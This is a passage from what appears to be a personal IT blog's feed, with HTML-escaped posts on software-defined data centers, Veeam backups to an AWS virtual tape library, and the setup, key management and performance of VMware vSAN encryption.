&lt;p&gt;Some call it a &amp;ldquo;marketing&amp;rdquo; term, however in reality, SDDC is a general term to describe a data center with most of its traditional functions abstracted from the physical layer (virtualized), through using the previously mentioned SDS and SDN. In addition to this, an SDDC has also an orchestration &amp;amp; automation layer, which allows it to be managed and automatized in a centralized manner. This layer allows for more proactive monitoring, automated policy management and automated provisioning, as well as more effective capacity planning&lt;/p&gt;
&lt;p&gt;The orchestration &amp;amp; automation layer is also what makes an SDDC different from a &lt;strong&gt;hyper-converged infrastructure&lt;/strong&gt; (also referred to as &amp;ldquo;datacenter-in-a-box), in which SDS, SDN and compute reside on a single hypervisor or hypervisor cluster. Having that said, it is correct to name the HCI as one of the core building blocks of a complete SDDC environment.&lt;/p&gt;

  &lt;figure class=&#34;left&#34; &gt;
    &lt;img src=&#34;/posts/201101-software-defined-for-dummies/SDDC-1.png&#34;   /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;In summary, SDDC is a datacenter in which virtual machines have little to no dependency on individual hardware components, physically located in the data center - for example, the VMs should not be impacted during upgrades or outages of individual servers, storage units etc. SDDC also allows the administrators and architects to focus on more high-level tasks such as preventing outages before they even happen or planing upgrades way before the deadline so they would have no effect on production environment.&lt;/p&gt;
&lt;p&gt;An important thing to note is that the SDDC differs from a private cloud, since a private cloud only has to offer virtual-machine self-service, beneath which it could use traditional provisioning and management. Instead, SDDC concepts imagine a data center that can encompass private, public, and hybrid clouds.&lt;/p&gt;
&lt;h3 id=&#34;software-defined-infrastructure&#34;&gt;Software-Defined Infrastructure&lt;/h3&gt;
&lt;p&gt;If SDDC goal is to abstract the datacenter from the physical layer &amp;amp; centralize its management, then SDI&amp;rsquo;s is to completely separate the SDDC from &amp;ldquo;human&amp;rdquo; layer by essentially turning an ideal SDDC into an autonomous environment, which wouldn&amp;rsquo;t need any hardware, software or hypervisor management whatsoever. This would be possible through &lt;strong&gt;software-defined administration&lt;/strong&gt;, which would off-load all maintenance tasks from infrastructure administrators. The SDI should also include a way to control the non-IT (electricity, heating etc.) part of a datacenter (&lt;strong&gt;software-defined facilities&lt;/strong&gt;), making the whole environment fully independent &amp;amp; resilient.&lt;/p&gt;

  &lt;figure class=&#34;left&#34; &gt;
    &lt;img src=&#34;/posts/201101-software-defined-for-dummies/SDI-1.png&#34;   /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;By using more sophisticated language - SDI is the definition of IT infrastructure entirely under the control of software with no operator or human intervention. An SDI operates independent of any hardware-specific dependencies and is programmatically extensible. In this approach, an application&amp;rsquo;s infrastructure requirements are defined declaratively (both functional and non-functional requirements) such that sufficient and appropriate hardware can be automatically derived and provisioned to deliver those requirements.&lt;/p&gt;
&lt;p&gt;While SDDC is a technical term, describing an approach to architectural design already deployed in many production environments around the world, the SDI is sometimes still assumed to be just a concept or an idea. Because of yet unclear definition of SDI and its extremely high infrastructural &amp;ldquo;requirements&amp;rdquo;, it is hard to say if any actual deployment of such design exists. At the same time, SDI is considered by people in the industry to be in high-demand and whoever will be first to fully bring that idea to life will conquer the virtualization &amp;amp; data center world.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;software-defined--impossible&#34;&gt;Software-Defined == Impossible?&lt;/h2&gt;
&lt;p&gt;The concepts of Software-Defined Everything in general, and Software-Defined Data Centers in particular, have been dismissed by many in the industry as “nonsense,” “marketecture,” and “software-defined hype”. It is not uncommon to see skeptics criticizing the ideas of SDDC, SDI and SDx.&lt;/p&gt;
&lt;p&gt;Many critics and non-technical observers claim that only very few companies in the world (the likes of Google, Miscrosoft, Apple etc.), could completely transition their infrastructure into an SDDC and &amp;ldquo;maybe&amp;rdquo; into an SDI at some point in the future.&lt;/p&gt;

  &lt;figure class=&#34;left&#34; &gt;
    &lt;img src=&#34;/posts/201101-software-defined-for-dummies/google-datacenter.png&#34;   /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;According to some, SDDCs won’t necessarily eliminate challenges that relate to handling the differences between development and production environments; managing a mix of legacy and new applications; or delivering service-level agreements (SLAs). Their main concern is that in many environments there are still production-critical applications which did not even fully adapt to the traditional &amp;ldquo;virtual&amp;rdquo; world (single, non-clustered hypervisors etc.) and might never be fully compatible with SDDC.&lt;/p&gt;
&lt;p&gt;An example of technology proving critics wrong is Software-Defined Networking, which was considered to be the “least mature technology” required to enable the software-defined data center and impossible to fully implement as per SDDC concept. The current availability &amp;amp; advancement of SDN solutions, such as VMware NSX, are a real-world proof of SDDC being much closer to reality than what the skeptics would ever believe.&lt;/p&gt;

  &lt;figure class=&#34;left&#34; &gt;
    &lt;img src=&#34;/posts/201101-software-defined-for-dummies/vmwarensxlogo.jpg&#34;   /&gt;
    
  &lt;/figure&gt;


&lt;hr&gt;
&lt;h2 id=&#34;software-defined--reality&#34;&gt;Software-Defined == Reality.&lt;/h2&gt;
&lt;p&gt;As with all previous technological revolutions in the infrastructural &amp;amp; enterprise world, the Software-Defined approach will force organizations to adapt. SDx environments will require rethinking many IT processes—including automation, metering, and billing—and executing service delivery, service activation, and service assurance.&lt;/p&gt;

  &lt;figure class=&#34;left&#34; &gt;
    &lt;img src=&#34;/posts/201101-software-defined-for-dummies/vmware-sddc.PNG&#34;   /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;While a widespread transition to the SDDC (and then SDx) could take years, this process will certainly become a necessity for the industry very, very soon. Those who will refuse to change their approach to IT, will eventually become obsolete, just like the critics who opposed virtualization as a whole in the past.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Veeam Backup to AWS VTL</title>
      <link>/posts/201001-veeam-vtl-backup/</link>
      <pubDate>Thu, 01 Oct 2020 00:00:00 +0000</pubDate>
      
      <guid>/posts/201001-veeam-vtl-backup/</guid>
      <description>In one of the environments I was managing, the problem was simple - the archive space was running out and the management was tired in re-inventing the wheel every couple of years by basically re-building their archiving storage system. They wanted to switch to tape&amp;hellip;
&amp;hellip;without most of the costs associated with &amp;ldquo;going tape&amp;rdquo;. They refused to purchase additional equipment (tape drives, racks, libraries etc.) and demanded that the storage previously used by backups (NAS) was returned to production environment asap.</description>
      <content>&lt;p&gt;In one of the environments I was managing, the problem was simple - the archive space was running out and the management was tired in re-inventing the wheel every couple of years by basically re-building their archiving storage system. They wanted to switch to tape&amp;hellip;&lt;/p&gt;
&lt;p&gt;&amp;hellip;without most of the costs associated with &amp;ldquo;going tape&amp;rdquo;. They refused to purchase additional equipment (tape drives, racks, libraries etc.) and demanded that the storage previously used by backups (NAS) was returned to production environment asap. Crazy? Yep.&lt;/p&gt;
&lt;p&gt;Anyway, I did not get a chance to see how this story ended as I&amp;rsquo;ve switched jobs and became a mostly VMware/Linux guy I am today. Having that said, last week I&amp;rsquo;ve decided to come back to this problem (as a thinking exercise) and try figuring out what would be a perfect solution in this scenario.&lt;/p&gt;
&lt;p&gt;The answer turned out to be&amp;hellip; virtual tape.&lt;/p&gt;
&lt;h2 id=&#34;cost-analysis&#34;&gt;Cost Analysis&lt;/h2&gt;
&lt;p&gt;If we look at it purely from a cost perspective, it is as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Virtual Tape Storage (EC2) - used as the initial storage when the tape backups are uploaded before they go to Glacier - $0.025/GB/month&lt;/li&gt;
&lt;li&gt;Virtual Tape Storage Archive (Glacier) - used when tapes are archived - $0.005/GB/month&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On top of that, there is also the cost of the gateway appliance itself. The way this works is, you are billed for the first 100GB ($125.00) written to the gateway and anything after that is free of further charges or as Amazon puts it:&lt;/p&gt;
&lt;p&gt;Up to a maximum of $125.00 per gateway per month. The first 100 GB per account is free.&lt;/p&gt;
&lt;p&gt;So in summary, we have a cost of $125.00 per gateway, per month if we&amp;rsquo;d keep uploading more than 100GB monthly to AWS (which the client we&amp;rsquo;re discussing obviously did).
If you add this all up, the cost of AWS VTL is just too good to be true. I was mostly surprised by how cheap the gateway itself is. If you&amp;rsquo;d be interested in the details, you can go check out their full pricing here.&lt;/p&gt;
&lt;h2 id=&#34;setup&#34;&gt;Setup&lt;/h2&gt;
&lt;p&gt;In this setup guide, we&amp;rsquo;re going to assume the client&amp;rsquo;s backup is based on Veeam Backup and Replication 9.5 U3 and VMware vSphere 6.7&lt;/p&gt;
&lt;p&gt;We are also going to assume the client has already an access to AWS account.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Download and configure the VTL appliance&lt;/li&gt;
&lt;li&gt;After a few minutes, if we go back to the AWS console, it should be asking for an IP address to connect to. Enter the LAN IP address of the appliance - do not worry about ports configuration, the connection will be established over HTTPS and then always initiated from within your network.&lt;/li&gt;
&lt;li&gt;After configuring a connection between the local appliance and AWS, we should finally create some tapes. As I didn&amp;rsquo;t want to invest too much into this project, I&amp;rsquo;ve created only three 100GBs tapes, but you can go higher if needed. The 100GB tape is the smallest available option.&lt;/li&gt;
&lt;li&gt;Configuring Veeam&lt;/li&gt;
&lt;li&gt;GFS Media Pools&lt;/li&gt;
&lt;li&gt;Creating GFS Tape Jobs&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Having all of that done, we can just relax and wait for the backup to be saved onto our virtual tapes in the AWS:&lt;/p&gt;
&lt;h2 id=&#34;what-do-you-think&#34;&gt;What do you think?&lt;/h2&gt;
&lt;p&gt;I must admit, when I&amp;rsquo;ve first heard about backing up archive data to cloud or &amp;ldquo;virtual tapes&amp;rdquo;, I wan&amp;rsquo;t too optimistic about it. Seeing the price of cloud storage - reasonable for anything under 1TB and straight-out crazy for anything else - I was certain that tape jobs can only happen locally.&lt;/p&gt;
&lt;p&gt;Well, not for the first time and definitely not last, I was wrong in my predictions. Backing up to AWS seems like a reasonably priced alternative if the backup infrastructure in the environment has access to fast enough uplink. Obviously, it&amp;rsquo;s not for everyone (remote sites, huge data backups etc.), but certainly it&amp;rsquo;s perfect for clients such as the once I&amp;rsquo;ve described in the intro - desperate to off-load the upkeep of the local infrastructure and adamant about stabilizing the costs on monthly basis.&lt;/p&gt;
&lt;p&gt;Have you ever used any virtual tapes in your backup environment? Send me your opinions @wilk_it_wizard or #sshguru&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>VSAN Encryption 101</title>
      <link>/posts/200901-vsan-encryption-101/</link>
      <pubDate>Tue, 01 Sep 2020 00:00:00 +0000</pubDate>
      
      <guid>/posts/200901-vsan-encryption-101/</guid>
      <description>Key management servers (KMS), VMware vCenter, vSphere &amp;amp; vSAN. Each of these play an important part of vSAN encryption. What are the KMS requirements, the host requirements, and so on? How is vSAN encryption set up and managed? How do normal tasks change (or do they)? Does encryption impact the performance of vSAN? Each of these items will be covered at length, so you can become a Captain of vSAN Encryption (wink, wink).</description>
      <content>&lt;p&gt;Key management servers (KMS), VMware vCenter, vSphere &amp;amp; vSAN. Each of these play an important part of vSAN encryption. What are the KMS requirements, the host requirements, and so on? How is vSAN encryption set up and managed? How do normal tasks change (or do they)? Does encryption impact the performance of vSAN? Each of these items will be covered at length, so you can become a Captain of vSAN Encryption (wink, wink).&lt;/p&gt;
&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;In vSAN 6.6 and vSAN 6.7, VMware introduced another option for native data-at-rest encryption - vSAN Encryption.&lt;/p&gt;
&lt;p&gt;vSAN Encryption is the industry’s first native HCI encryption solution; it is built right into the vSAN software. With a couple of clicks, it can be enabled or disabled for all items on the vSAN datastore, with no additional steps.&lt;/p&gt;
&lt;p&gt;Because it runs at the hypervisor level and not in the context of the virtual machine, it is virtual machine agnostic, like VM Encryption. While vSAN Encryption and VM Encryption meet similar requirements, they do so a bit differently, each with use cases they excel at. Most importantly, they provide customers choice for when deciding how to provide data-at-rest encryption for their vSphere workloads.&lt;/p&gt;
&lt;p&gt;And because vSAN Encryption is hardware agnostic, there is no requirement to use specialized and more expensive Self-Encrypting Drives (SEDs), unlike the other HCI solutions that offer encryption.&lt;/p&gt;
&lt;p&gt;When you enable encryption, vSAN encrypts everything in the vSAN datastore. All files are encrypted, so all virtual machines and their corresponding data are protected.
Only administrators with encryption privileges can perform encryption and decryption tasks.&lt;/p&gt;
&lt;p&gt;vSAN uses encryption keys as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;vCenter Server requests an AES-256 Key Encryption Key (KEK) from the KMS. vCenter Server stores only the ID of the KEK, but not the key itself.&lt;/li&gt;
&lt;li&gt;The ESXi host encrypts disk data using the industry standard AES-256 XTS mode. Each disk has a different randomly generated Data Encryption Key (DEK).&lt;/li&gt;
&lt;li&gt;Each ESXi host uses the KEK to encrypt its DEKs, and stores the encrypted DEKs on disk. The host does not store the KEK on disk. If a host reboots, it requests the KEK with the corresponding ID from the KMS. The host can then decrypt its DEKs as needed.&lt;/li&gt;
&lt;li&gt;A host key is used to encrypt core dumps, not data. All hosts in the same cluster use the same host key. When collecting support bundles, a random key is generated to re-encrypt the core dumps. You can specify a password to encrypt the random key.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;When a host reboots, it does not mount its disk groups until it receives the KEK. This process can take several minutes or longer to complete. This can be monitored under Physical disks &amp;gt; Software state health.&lt;/p&gt;
&lt;h2 id=&#34;why-encrypt&#34;&gt;Why encrypt?&lt;/h2&gt;
&lt;p&gt;First question we need to tackle is “What is encryption anyway?”&lt;/p&gt;
&lt;p&gt;Encryption is the process of transforming information in such a way that an unauthorized third party cannot read it; a trusted person can decrypt data and access it in its original form though. There are a lot of popular encryption/decryption methods, but the key to security is not a proprietary algorithm. The most important thing is keeping the encryption key (password) a secret so only trusted parties know it.&lt;/p&gt;
&lt;p&gt;It is important to distinguish encoding from encryption. Encoding also transforms information, but it’s typically performed for the convenience of storage or transmission, not keeping secrets. Widely known encoding methods are Morse code and binary encoding for computer storage.&lt;/p&gt;
&lt;p&gt;Now comes the second important question - why should we encrypt our data? Please allow me quickly run you through the three simple reasons why you should be interested in encrypting your data.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Privacy - Encryption helps protect privacy by turning personal information into “for your eyes only” messages intended only for the parties that need them — and no one else. You should make sure that your emails are being sent over an encrypted connection, or that you are encrypting each message. Same thing applies to data; encryption allows you to secure the data stored on the datastore (VMs) from being access by an unauthorized party. This can help to secure your data even if the physical media (i.e. disks) get stolen or copied without permission.&lt;/li&gt;
&lt;li&gt;Security - Hackers aren’t just bored kids in a basement anymore. They’re big business, and in some cases, they’re multinational outfits. Large-scale data breaches that you may have heard about in the news demonstrate that people are out to steal personal information to fill their pockets. Again, encryption allows you to set an additional layer of anti-hacking protection which in today’s world of GDPR, Internet and user-awareness can be a “life or death” situation.&lt;/li&gt;
&lt;li&gt;Law &amp;amp; Regulations - Depending on the type of data you are processing or storing, there are certain government-level policies which more or less force you to invest in encryption. For example, healthcare providers are required by the Health Insurance Portability and Accountability Act (HIPAA) to implement security features that protect patients’ sensitive health information. Institutions of higher learning must take similar steps under the Family Education Rights and Privacy Act (FERPA), while retailers must contend with the Fair Credit Practices Act (FCPA) and similar laws. Encryption helps businesses stay compliant as well as helps protect the valuable data of their customers.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;quick-kms-summary&#34;&gt;Quick KMS Summary&lt;/h2&gt;
&lt;p&gt;Key management refers to management of cryptographic keys in a cryptosystem. This includes dealing with the generation, exchange, storage, use, crypto-shredding (destruction) and replacement of keys. It includes cryptographic protocol design, key servers, user procedures, and other relevant protocols.&lt;/p&gt;
&lt;p&gt;Key management concerns keys at the user level, either between users or systems. This is in contrast to key scheduling, which typically refers to the internal handling of keys within the operation of a cipher.&lt;/p&gt;
&lt;p&gt;Successful key management is critical to the security of a cryptosystem. It is the more challenging side of cryptography in a sense that it involves aspects of social engineering such as system policy, user training, organizational and departmental interactions, and coordination between all of these elements, in contrast to pure mathematical practices that can be automated.&lt;/p&gt;
&lt;p&gt;Cryptographic systems may use different types of keys, with some systems using more than one. These may include symmetric keys or asymmetric keys. In a symmetric key algorithm the keys involved are identical for both encrypting and decrypting a message. Keys must be chosen carefully, and distributed and stored securely. Asymmetric keys, also known as public keys, in contrast are two distinct keys that are mathematically linked. They are typically used together to communicate. Public key infrastructure (PKI) is the term most often used to describe the implementation of public key cryptography. PKI requires an organization to establish an infrastructure to create and manage public and private key pairs along with digital certificates.&lt;/p&gt;
&lt;p&gt;The starting point in any certificate and private key management strategy is to create a comprehensive inventory of all certificates, their locations and responsible parties. This is not a trivial matter because certificates from a variety of sources are deployed in a variety of locations by different individuals and teams - it&amp;rsquo;s simply not possible to rely on a list from a single certificate authority. Certificates that are not renewed and replaced before they expire can cause serious downtime and outages.&lt;/p&gt;
&lt;p&gt;Once keys are inventoried, key management typically consists of three steps: exchange, storage and use.&lt;/p&gt;
&lt;p&gt;Key exchange - Prior to any secured communication, users must set up the details of the cryptography. In some instances this may require exchanging identical keys (in the case of a symmetric key system). In others it may require possessing the other party&amp;rsquo;s public key. While public keys can be openly exchanged (their corresponding private key is kept secret), symmetric keys must be exchanged over a secure communication channel.&lt;/p&gt;
&lt;p&gt;In more modern systems, a session key for a symmetric key algorithm is distributed encrypted by an asymmetric key algorithm. This approach avoids even the necessity for using a key exchange protocol like Diffie-Hellman key exchange.&lt;/p&gt;
&lt;p&gt;Another method of key exchange involves encapsulating one key within another. Typically a master key is generated and exchanged using some secure method. Once the master key has been securely exchanged, it can then be used to securely exchange subsequent keys with ease. This technique is usually termed key wrap. A common technique uses block ciphers and cryptographic hash functions.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Key storage - However distributed, keys must be stored securely to maintain communications security. Security is a big concern and hence there are various techniques in use to do so. Likely the most common is that an encryption application manages keys for the user and depends on an access password to control use of the key. Likewise, in the case of smartphone keyless access platforms, they keep all identifying door information off mobile phones and servers and encrypt all data, where just like low-tech keys, users give codes only to those they trust.&lt;/li&gt;
&lt;li&gt;Key use - The major issue is length of time a key is to be used, and therefore frequency of replacement. Because it increases any attacker&amp;rsquo;s required effort, keys should be frequently changed. This also limits loss of information, as the number of stored encrypted messages which will become readable when a key is found will decrease as the frequency of key change increases. Historically, symmetric keys have been used for long periods in situations in which key exchange was very difficult or only possible intermittently. Ideally, the symmetric key should change with each message or interaction, so that only that message will become readable if the key is learned (e.g., stolen, cryptanalyzed, or social engineered).&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;kms-requirements&#34;&gt;KMS Requirements&lt;/h2&gt;
&lt;p&gt;A Key Management Server (KMS) cluster provides the keys that you can use to encrypt the vSAN datastore.&lt;/p&gt;
&lt;p&gt;Before you can encrypt the vSAN datastore, you must set up a KMS cluster to support encryption. That task includes adding the KMS to vCenter Server and establishing trust with the KMS. vCenter Server provisions encryption keys from the KMS cluster.&lt;/p&gt;
&lt;p&gt;The KMS must support the Key Management Interoperability Protocol (KMIP) 1.1 standard.&lt;/p&gt;
&lt;p&gt;The biggest requirement of key management is availability. The analog we can use when talking about this is DNS - nobody runs their big production environment with a single DNS server (I hope!). You have multiple replicating DNS servers “just in case” something goes wrong. Maybe in your single site you’ll have at least two and maybe three or four. Maybe you even have a DNS server or two running in a cloud or have servers at another site, again, “just in case”. Why? Because if DNS is down then everything is essentially dead in the water. All roads lead to DNS, all roads can end if there’s no DNS.&lt;/p&gt;
&lt;p&gt;The same holds true for key management. If the key management infrastructure is down, we can’t encrypt new VMs or re-key existing VMs! Even more importantly, we DON’T want that single point of failure. If you have just one KMS and something bad happens to it and you can’t recover the keys then you have some serious issues to attend to! There are no back doors to decrypt a VM. If you lose the keys, you’ve lost the data unless you’ve backed it up (that backup should also be encrypted, but that’s something for another day…).&lt;/p&gt;
&lt;p&gt;This is why Key Management will become the next (critical) datacenter infrastructure requirement, just like DNS and NTP have become. This isn’t a “I need a KMS for vCenter” discussion as much as it is a “I need a KMS for the business” discussion.&lt;/p&gt;
&lt;p&gt;After all, you don’t install DNS to make it easier to run just the datacenter. You run DNS because without it the business won’t run. Today you may only need a KMS for vSphere but going forward the business may need it for a whole host of things. Encrypted VMs on an encrypted vSAN might be your first need for a KMS but it won’t be your last.&lt;/p&gt;
&lt;p&gt;Note how I didn’t list other requirements like HSM’s (Hardware Security Modules). vSphere is just a KMIP client. These functions are handled by the Key Manager you choose. If you want HSM’s then the Key Manager will talk to them and vSphere will talk to the KMS. Honestly, this lessens complexity while providing you the best choice to meet your needs.&lt;/p&gt;
&lt;p&gt;Here are some good examples of KMS systems which are officially supported by VMware:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dell, CloudLink 6&lt;/li&gt;
&lt;li&gt;EntIT ESKM 5.0.6&lt;/li&gt;
&lt;li&gt;Fornetix Key Orchestrator 2.1&lt;/li&gt;
&lt;li&gt;Fujitsu ETERNUS SF KM v3.0&lt;/li&gt;
&lt;li&gt;IBM Security Key Lifecycle Manager v3.0&lt;/li&gt;
&lt;li&gt;IBM KMIP for VMware on IBM Cloud 1.0&lt;/li&gt;
&lt;li&gt;QuintessenceLabs qCrypt 200V 1.6.3&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Consider these guidelines when working with vSAN encryption:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Do not deploy your KMS server on the same vSAN datastore that you plan to encrypt.&lt;/li&gt;
&lt;li&gt;Encryption is CPU intensive. AES-NI significantly improves encryption performance. Enable AES-NI in your BIOS.&lt;/li&gt;
&lt;li&gt;The witness host in a stretched cluster does not participate in vSAN encryption. Only metadata is stored on the witness host.&lt;/li&gt;
&lt;li&gt;Establish a policy regarding core dumps. Core dumps are encrypted because they can contain sensitive information such as keys. If you decrypt a core dump, carefully handle its sensitive information. ESXi core dumps might contain keys for the ESXi host and for the data on it.&lt;/li&gt;
&lt;li&gt;Always use a password when you collect a vm-support bundle. You can specify the password when you generate the support bundle from the vSphere Client or using the vm-support command.&lt;/li&gt;
&lt;li&gt;The password recrypts core dumps that use internal keys to use keys that are based on the password. You can later use the password to decrypt any encrypted core dumps that might be included in the support bundle. Unencrypted core dumps or logs are not affected.&lt;/li&gt;
&lt;li&gt;The password that you specify during vm-support bundle creation is not persisted in vSphere components. You are responsible for keeping track of passwords for support bundles.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;setting-up-vsan-encryption&#34;&gt;Setting up vSAN Encryption&lt;/h2&gt;
&lt;p&gt;Key Managers today are usually set up in a way that they replicate keys to one another. If I have three instances of a key manager, KMA, KMB and KMC, they replicate the keys between them. If I create a key on KMA it will show up in KMB &amp;amp; KMC at some point. You’ll have to check with your key manager product to see how quickly the replication happens.&lt;/p&gt;
&lt;p&gt;Using the example above, in vCenter I would create a key manager cluster/alias. In my example I’ll call it “3KMS” and add KMA, KMB and KMC into that 3KMS cluster. I would then establish a trust with each of the key managers. There are multiple ways to establish trust and most of the time you’ll need to follow the way which is in your KMS system official recommendations.&lt;/p&gt;
&lt;p&gt;Using the example above, if KMA is unavailable then vCenter will try KMB (next KMS in order). If KMA is up but the KMS service, for some reason, doesn’t respond, then vCenter will wait 60 seconds for a response. If after that 60 seconds there is no response, vCenter will try KMB. If KMA doesn’t respond (e.g. no IP connection at all) then vCenter won’t wait the 60 seconds and will try KMB immediately.&lt;/p&gt;
&lt;p&gt;The maximum vCenter will wait for a KMS to respond is 60 seconds. This is not something that can be configured.&lt;/p&gt;
&lt;p&gt;Before you can encrypt the vSAN datastore, you must set up a KMS cluster to support encryption. vCenter Server provisions encryption keys from the KMS cluster. The KMS must support the Key Management Interoperability Protocol (KMIP) 1.1 standard.&lt;/p&gt;
&lt;p&gt;Setting up the encryption itself is quite easy can be summarized in these 7 steps:&lt;/p&gt;
&lt;p&gt;Adding a KMS to vCenter Server&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Add Key Management Server (KMS) to your vCenter Server system from the vSphere Client&lt;/li&gt;
&lt;li&gt;Set the Default KMS Cluster&lt;/li&gt;
&lt;li&gt;Complete the Trust Setup&lt;/li&gt;
&lt;li&gt;Navigate to an existing cluster&lt;/li&gt;
&lt;li&gt;Click the Configure tab.&lt;/li&gt;
&lt;li&gt;Under vSAN, select Services and click the Encryption Edit button.&lt;/li&gt;
&lt;li&gt;On the vSAN Services dialog, enable Encryption, and select a KMS cluster. -If you generate a new KEK, all hosts in the vSAN cluster receive the new KEK from the KMS. Each host&amp;rsquo;s DEK is re-encrypted with the new KEK.&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;If you choose to re-encrypt all data using new keys, a new KEK and new DEKs are generated. A rolling disk reformat is required to re-encrypt data.&lt;/li&gt;
&lt;li&gt;If your vSAN cluster has limited resources, select the Allow Reduced Redundancy check box. If you allow reduced redundancy, your data might be at risk during the disk reformat operation.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;encryption-vs-performance&#34;&gt;Encryption vs Performance&lt;/h2&gt;
&lt;p&gt;When an I/O goes through the filter there are several actions that an application can take on each I/O, such as fail, pass, complete or defer it. The action taken will depend on the application’s use case, a replication application may defer I/O to another device, a caching application may already have a read request cached so it would complete the request instead of sending it on to the storage device. With encryption it would presumably defer the I/O to the encryption engine to be encrypted before it is written to its final destination storage device.&lt;/p&gt;
&lt;p&gt;So there are definitely a few more steps that must be taken before encrypted data is written to disk, how will that impact performance? VMware did some testing and published a paper on the performance impact of using VM encryption. Performing encryption is mostly a CPU intensive as you have to do complicated math to encrypt data, the type of storage that I/O is written to plays a factor as well but not in the way you would think. With conventional spinning disk there is actually less performance impact from encryption compared to faster disk types like SSD’s and NVMe. The reason for this is that because data is written to disk faster the CPU has to work harder to keep up with the faster I/O throughput.&lt;/p&gt;
&lt;p&gt;The configuration VMware tested with was running on Dell PowerEdge R720 servers with two 8-core CPU’s, 128GB memory and with both Intel SSD (36K IOPS Write/75K IOPS Read) – and Samsung NVMe (120K IOPS/Write750K IOPS Read) storage. Testing was done with Iometer using both sequential and random workloads. Below is a summary of the results:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- 512KB sequential write results &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; SSD – little impact on storage throughput and latency, significant impact on CPU 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- 512KB sequential read results &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; SSD – little impact on storage throughput and latency, significant impact on CPU 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- 4KB random write results &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; SSD – little impact on storage throughput and latency, medium impact on CPU 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- 4KB random read results &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; SSD – little impact on storage throughput and latency, medium impact on CPU 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- 512KB sequential write results &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; NVMe – significant impact on storage throughput and latency, significant impact on CPU 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- 512KB sequential read results &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; NVMe – significant impact on storage throughput and latency, significant impact on CPU 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- 4KB random write results &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; NVMe – significant impact on storage throughput and latency, medium impact on CPU 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- 4KB random read results &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; NVMe – significant impact on storage throughput and latency, medium impact on CPU 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;impact to storage throughput and latency overall (60-70%) with moderate impact to CPU overhead (50%) with 4KB random workloads. The results varied a little bit based on the number of workers (vCPUs) available used.&lt;/p&gt;
&lt;p&gt;They also tested with VSAN using a hybrid configuration consisting of 1 SSD &amp;amp; 4 10K drives, below is a summary of those results:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- 512KB sequential read results &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; vSAN – slight-small impact on storage throughput and latency, small-medium impact on CPU 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- 512KB sequential write results &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; vSAN – slight-small impact on storage throughput and latency, small-medium impact on CPU 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- 4KB sequential read results &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; vSAN – slight-small impact on storage throughput and latency, slight impact on CPU 
